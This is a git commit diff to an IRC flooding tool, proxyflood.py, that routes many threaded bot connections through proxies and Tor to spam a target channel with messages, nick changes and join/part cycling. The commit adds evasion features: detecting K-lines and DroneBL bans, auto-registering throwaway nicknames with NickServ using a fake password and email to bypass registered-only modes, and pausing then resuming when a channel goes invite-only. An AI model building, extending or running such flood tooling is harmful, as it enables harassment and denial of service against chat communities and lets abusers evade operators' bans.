add more flood stuff
This commit is contained in:
@@ -53,10 +53,13 @@ class Config(ComboParser):
|
|||||||
self.aparser.add_argument("--file", help="import a single file containing proxy addrs", type=str, default='', required=False)
|
self.aparser.add_argument("--file", help="import a single file containing proxy addrs", type=str, default='', required=False)
|
||||||
|
|
||||||
section = 'flood'
|
section = 'flood'
|
||||||
self.add_item(section, 'server', str, 'irc.epiknet.org', 'irc server address', True)
|
self.add_item(section, 'server', str, None, 'irc server address', False)
|
||||||
self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', True)
|
self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', False)
|
||||||
|
self.add_item(section, 'nickserv', str, "nickserv's nickname", '', False)
|
||||||
self.add_item(section, 'message', str, None, 'message', False)
|
self.add_item(section, 'message', str, None, 'message', False)
|
||||||
self.add_item(section, 'threads', int, 1, '# of threads', False)
|
self.add_item(section, 'threads', int, 1, '# of threads', False)
|
||||||
|
self.add_item(section, 'register', int, 0, 'register nickname when required (default: false)', False)
|
||||||
|
|
||||||
self.add_item(section, 'once', int, 0, 'quit as soon as possible (default: 0)', False)
|
self.add_item(section, 'once', int, 0, 'quit as soon as possible (default: 0)', False)
|
||||||
self.add_item(section, 'duration', int, 90, 'maximum time to run (default: 90 secs)', False)
|
self.add_item(section, 'duration', int, 90, 'maximum time to run (default: 90 secs)', False)
|
||||||
self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random) - default: 2', False)
|
self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random) - default: 2', False)
|
||||||
|
|||||||
101
proxyflood.py
101
proxyflood.py
@@ -19,6 +19,9 @@ config = Config()
|
|||||||
_run_standalone = False
|
_run_standalone = False
|
||||||
cached_dns = dict()
|
cached_dns = dict()
|
||||||
|
|
||||||
|
is_target_protected = None
|
||||||
|
default_threads = None
|
||||||
|
|
||||||
with open('usernames.txt') as h:
|
with open('usernames.txt') as h:
|
||||||
nicklist = [ nick.strip() for nick in h.readlines() ]
|
nicklist = [ nick.strip() for nick in h.readlines() ]
|
||||||
|
|
||||||
@@ -49,26 +52,40 @@ def socks4_resolve(srvname, server_port):
|
|||||||
return False
|
return False
|
||||||
return srv
|
return srv
|
||||||
|
|
||||||
|
def has_been_lined(recv):
|
||||||
|
recv = recv.lower()
|
||||||
|
badkw = [ 'banned', 'not welcome', 'dronebl', 'sectoor', 'kline', 'proxy', 'drone' ]
|
||||||
|
for bkw in badkw:
|
||||||
|
if bkw in recv: return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
def flood(sock):
|
def flood(sock):
|
||||||
nick = random.choice(nicklist)
|
nick = random.choice(nicklist) + str(random.randint(1000,9999))
|
||||||
if config.flood.message is not None: msgs = config.flood.message.split(';')
|
if config.flood.message is not None: msgs = config.flood.message.split(';')
|
||||||
|
|
||||||
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick))
|
||||||
ticks = time.time()
|
ticks = time.time()
|
||||||
sent_ping = False
|
sent_ping = False
|
||||||
|
ret = True
|
||||||
while True:
|
while True:
|
||||||
if config.flood.duration > 0:
|
if config.flood.duration > 0:
|
||||||
if (time.time() - ticks) > config.flood.duration: break
|
if (time.time() - ticks) > config.flood.duration: break
|
||||||
|
|
||||||
recv = sock.recvline()
|
recv = sock.recvline()
|
||||||
print(recv.strip())
|
|
||||||
if not len(recv): break
|
if not len(recv): break
|
||||||
elif 'Proxy/Drone' in recv or 'contact kline@' in recv: break
|
elif not ' 372 ' in recv: print(recv.strip())
|
||||||
elif recv.startswith('ERROR'): break
|
|
||||||
|
#if 'Proxy/Drone' in recv or 'contact kline@' in recv:
|
||||||
|
# ret = False
|
||||||
|
# break
|
||||||
|
if recv.startswith('ERROR'):
|
||||||
|
if has_been_lined(recv): ret = False
|
||||||
|
break
|
||||||
elif recv.startswith('PING'):
|
elif recv.startswith('PING'):
|
||||||
if config.flood.use_timeout:
|
if config.flood.use_timeout:
|
||||||
if sent_ping: continue
|
if sent_ping: continue
|
||||||
sock.send( recv.replace('PING', 'PONG'))
|
sock.send('%s\r\n' % recv.replace('PING', 'PONG'))
|
||||||
sent_ping = True
|
sent_ping = True
|
||||||
else:
|
else:
|
||||||
_split = recv.split(' ')
|
_split = recv.split(' ')
|
||||||
@@ -88,28 +105,53 @@ def flood(sock):
|
|||||||
if config.flood.once:
|
if config.flood.once:
|
||||||
sock.send('QUIT\r\n')
|
sock.send('QUIT\r\n')
|
||||||
|
|
||||||
|
|
||||||
# end of names list (joined a chan)
|
# end of names list (joined a chan)
|
||||||
elif _split[1] == '366':
|
elif _split[1] == '366':
|
||||||
|
ret = True
|
||||||
if config.flood.message is not None:
|
if config.flood.message is not None:
|
||||||
if config.flood.change_nick:
|
if config.flood.change_nick:
|
||||||
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist)))
|
||||||
else:
|
else:
|
||||||
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||||
if config.flood.cycle:
|
if config.flood.cycle:
|
||||||
sock.send('PART %s\r\nJOIN %s\r\n)' % (_split[3], _split[3]))
|
sock.send('PART %s\r\nJOIN %s\r\n' % (_split[3], _split[3]))
|
||||||
time.sleep(1)
|
#time.sleep(1)
|
||||||
|
|
||||||
elif config.flood.once:
|
elif config.flood.once:
|
||||||
sock.send('QUIT\r\n')
|
sock.send('QUIT\r\n')
|
||||||
|
|
||||||
# nick already used
|
# nick reseverd or already used
|
||||||
elif _split[1] == '433':
|
elif _split[1] == '432' or _split[1] == '433':
|
||||||
sock.send('NICK %s\r\n' % random.choice(nicknames))
|
sock.send('NICK %s\r\n' % random.choice(nicklist))
|
||||||
|
|
||||||
|
# chan +i
|
||||||
|
elif _split[1] == '473':
|
||||||
|
global is_target_protected
|
||||||
|
if is_target_protected is not None: break
|
||||||
|
|
||||||
|
global default_threads
|
||||||
|
is_target_protected = time.time()
|
||||||
|
default_threads = config.flood.threads
|
||||||
|
config.flood.threads = 1
|
||||||
|
print('target is protected, aborting')
|
||||||
|
break
|
||||||
|
# user or chan sets mode +R
|
||||||
|
elif _split[1] == '477' or _split[1] == '531':
|
||||||
|
if not config.flood.register: break
|
||||||
|
|
||||||
|
sock.send('PRIVMSG %s :nick register hunter2 %s@gmail.com\r\n' %(config.flood.nickserv,nick))
|
||||||
|
time.sleep(1)
|
||||||
|
if '#' in config.flood.target:
|
||||||
|
sock.send('JOIN %s\r\n' %config.flood.target)
|
||||||
|
elif config.flood.message is not None:
|
||||||
|
sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs)))
|
||||||
|
if config.flood.once: sock.send('QUIT\r\n')
|
||||||
|
|
||||||
try: sock.disconnect()
|
try: sock.disconnect()
|
||||||
except: pass
|
except: pass
|
||||||
|
|
||||||
|
return ret
|
||||||
|
|
||||||
class WorkerJob():
|
class WorkerJob():
|
||||||
def __init__(self, proxy, proto, failcount, success_count, total_duration, country, oldies = False):
|
def __init__(self, proxy, proto, failcount, success_count, total_duration, country, oldies = False):
|
||||||
self.proxy = proxy
|
self.proxy = proxy
|
||||||
@@ -148,8 +190,10 @@ class WorkerJob():
|
|||||||
try:
|
try:
|
||||||
sock = rocksock.Rocksock(host=srv, port=server_port, ssl=use_ssl, proxies=proxies, timeout=config.watchd.timeout)
|
sock = rocksock.Rocksock(host=srv, port=server_port, ssl=use_ssl, proxies=proxies, timeout=config.watchd.timeout)
|
||||||
sock.connect()
|
sock.connect()
|
||||||
flood(sock)
|
status = flood(sock)
|
||||||
return sock, proto, duration, torhost, srvname, 0
|
print('status: %s' %str(status))
|
||||||
|
return status
|
||||||
|
|
||||||
except rocksock.RocksockException as e:
|
except rocksock.RocksockException as e:
|
||||||
if config.watchd.debug:
|
if config.watchd.debug:
|
||||||
_log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug')
|
_log("proxy failed: %s://%s: %s"%(proto, self.proxy, e.get_errormessage()), 'debug')
|
||||||
@@ -181,12 +225,23 @@ class WorkerJob():
|
|||||||
except KeyboardInterrupt as e:
|
except KeyboardInterrupt as e:
|
||||||
raise(e)
|
raise(e)
|
||||||
|
|
||||||
return None, None, None, None, None, fail_inc
|
return False
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
|
global is_target_protected
|
||||||
self.checktime = int(time.time())
|
self.checktime = int(time.time())
|
||||||
|
if is_target_protected is not None:
|
||||||
|
if (self.checktime - is_target_protected) < 300:
|
||||||
|
time.sleep(10)
|
||||||
|
return
|
||||||
|
is_target_protected = None
|
||||||
|
#global config.flood.threads
|
||||||
|
global default_threads
|
||||||
|
config.flood.threads = default_threads
|
||||||
|
|
||||||
|
while self.connect_socket():
|
||||||
|
time.sleep(10)
|
||||||
|
|
||||||
sock, proto, duration, tor, srv, failinc = self.connect_socket()
|
|
||||||
return
|
return
|
||||||
|
|
||||||
|
|
||||||
@@ -259,7 +314,7 @@ class WorkerThread():
|
|||||||
class Proxywatchd():
|
class Proxywatchd():
|
||||||
|
|
||||||
def stop(self):
|
def stop(self):
|
||||||
_log('halting... (%d thread(s))' % len([item for item in self.threads if True]), 'watchd')
|
_log('halting... (%d thread(s))' % len([item for item in self.threads if True]), 'flood')
|
||||||
self.stopping.set()
|
self.stopping.set()
|
||||||
|
|
||||||
def _cleanup(self):
|
def _cleanup(self):
|
||||||
@@ -275,7 +330,7 @@ class Proxywatchd():
|
|||||||
if not self.in_background: self._cleanup()
|
if not self.in_background: self._cleanup()
|
||||||
while not self.stopped.is_set(): time.sleep(0.1)
|
while not self.stopped.is_set(): time.sleep(0.1)
|
||||||
success_rate = try_div(self.totals['success'], self.totals['submitted']) * 100
|
success_rate = try_div(self.totals['success'], self.totals['submitted']) * 100
|
||||||
_log("total results: %d/%d (%.2f%%)"%(self.totals['success'], self.totals['submitted'], success_rate), "watchd")
|
_log("total results: %d/%d (%.2f%%)"%(self.totals['success'], self.totals['submitted'], success_rate), "flood")
|
||||||
|
|
||||||
def _prep_db(self):
|
def _prep_db(self):
|
||||||
self.mysqlite = mysqlite.mysqlite(config.watchd.database, str)
|
self.mysqlite = mysqlite.mysqlite(config.watchd.database, str)
|
||||||
@@ -330,7 +385,7 @@ class Proxywatchd():
|
|||||||
jobs = wt.return_jobs()
|
jobs = wt.return_jobs()
|
||||||
self.jobs.extend(jobs)
|
self.jobs.extend(jobs)
|
||||||
if len(self.jobs):
|
if len(self.jobs):
|
||||||
_log("collected %d unfinished jobs"%len(self.jobs), "watchd")
|
_log("collected %d unfinished jobs"%len(self.jobs), "flood")
|
||||||
|
|
||||||
def submit_collected(self):
|
def submit_collected(self):
|
||||||
if len(self.collected) == 0: return True
|
if len(self.collected) == 0: return True
|
||||||
@@ -351,7 +406,7 @@ class Proxywatchd():
|
|||||||
args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) )
|
args.append( (job.failcount, job.checktime, 1, job.country, job.proto, job.success_count, job.total_duration, job.proxy) )
|
||||||
ret = False
|
ret = False
|
||||||
|
|
||||||
_log("success rate: %.2f%%"%(len(self.collected), success_rate), 'flood')
|
_log("success rate: %.2f%%"%success_rate, 'flood')
|
||||||
#self._prep_db()
|
#self._prep_db()
|
||||||
#query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?'
|
#query = 'UPDATE proxylist SET failed=?,tested=?,dronebl=?,country=?,proto=?,success_count=?,total_duration=? WHERE proxy=?'
|
||||||
#self.mysqlite.executemany(query, args)
|
#self.mysqlite.executemany(query, args)
|
||||||
@@ -378,7 +433,7 @@ class Proxywatchd():
|
|||||||
t.start()
|
t.start()
|
||||||
|
|
||||||
def _run(self):
|
def _run(self):
|
||||||
_log('starting...', 'watchd')
|
_log('starting...', 'flood')
|
||||||
|
|
||||||
for i in range(config.flood.threads):
|
for i in range(config.flood.threads):
|
||||||
# XXX: multiplicator
|
# XXX: multiplicator
|
||||||
@@ -410,7 +465,7 @@ class Proxywatchd():
|
|||||||
if not len(self.jobs):
|
if not len(self.jobs):
|
||||||
self.collect_work()
|
self.collect_work()
|
||||||
if not self.submit_collected() and self.tor_safeguard:
|
if not self.submit_collected() and self.tor_safeguard:
|
||||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd")
|
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "flood")
|
||||||
self.collect_unfinished()
|
self.collect_unfinished()
|
||||||
sleeptime = 1*60
|
sleeptime = 1*60
|
||||||
else:
|
else:
|
||||||
@@ -420,7 +475,7 @@ class Proxywatchd():
|
|||||||
# allow threads enough time to consume the jobs
|
# allow threads enough time to consume the jobs
|
||||||
sleeptime = 10
|
sleeptime = 10
|
||||||
if len(self.jobs):
|
if len(self.jobs):
|
||||||
_log("handing out %d jobs to %d thread(s)"% (len(self.jobs), len(self.threads)), 'watchd')
|
_log("handing out %d jobs to %d thread(s)"% (len(self.jobs), len(self.threads)), 'flood')
|
||||||
jpt = len(self.jobs)/len(self.threads)
|
jpt = len(self.jobs)/len(self.threads)
|
||||||
if len(self.jobs)/float(len(self.threads)) - jpt > 0.0: jpt += 1
|
if len(self.jobs)/float(len(self.threads)) - jpt > 0.0: jpt += 1
|
||||||
for tid in xrange(len(self.threads)):
|
for tid in xrange(len(self.threads)):
|
||||||
@@ -434,7 +489,7 @@ class Proxywatchd():
|
|||||||
|
|
||||||
if len(self.collected) > self.submit_after:
|
if len(self.collected) > self.submit_after:
|
||||||
if not self.submit_collected() and self.tor_safeguard:
|
if not self.submit_collected() and self.tor_safeguard:
|
||||||
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "watchd")
|
_log("zzZzZzzZ sleeping 1 minute(s) due to tor issues - consider decreasing thread number!", "flood")
|
||||||
self.collect_unfinished()
|
self.collect_unfinished()
|
||||||
sleeptime = 1*60
|
sleeptime = 1*60
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user